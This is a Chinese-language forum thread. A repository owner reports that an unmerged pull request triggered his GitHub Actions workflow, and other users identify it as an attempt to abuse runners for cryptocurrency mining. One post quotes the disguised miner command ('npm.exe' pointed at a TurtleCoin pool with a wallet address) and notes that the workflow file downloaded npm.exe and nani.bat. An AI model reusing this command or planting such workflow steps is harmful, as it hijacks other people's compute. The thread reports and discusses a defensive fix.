关于 github 中的 workflow 可以随便执行的问题

[Drinker]

这两天发生的，之前申请了个 360 E5 的账号，用 github 的 workflow 跑 API 来续期，然后这两天发现有个家伙提了个 pr， 就是此人 https://github.com/laksjduetryuism，然后再 actions 里面看看到对方提的 pr 可以直接再工作流里面执行， https://imgur.com/xyv9435, pr 我还没有合并， https://imgur.com/bAV9nqm， 就直接生效了？如果这样可以执行不是就可以获取我再项目里面设置的 id 和 secret ... 害怕。。。

[mangoDB]

楼主请看这个帖子。

[黑客用 GitHub 服务器挖矿，三天跑了 3 万个任务，代码惊现中文]( https://zhuanlan.zhihu.com/p/363729726 )

[laoyur]

哈哈，挖矿挖到楼主头上了，笑出声

[Drinker]

@hzcer OK，我去瞅瞅。

[Drinker]

@Trim21 那就好，谢谢。

[Drinker]

@mangoDB 就是这个....
npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo
yml 文件里面就是下载 npm.exe 和 nani.bat 。

[Drinker]

@laoyur 第一次遇到这种，应该就是上面说的挖矿了。

[patrickyoung]

这个 bug 已经有人在 src 交了，现在是有设置的，自己去设置里设只允许本地就行

[Drinker]

@patrickyoung 谢谢，已经给官方处理了。

[raaaaaar]

自由就是被这群人加了限制。。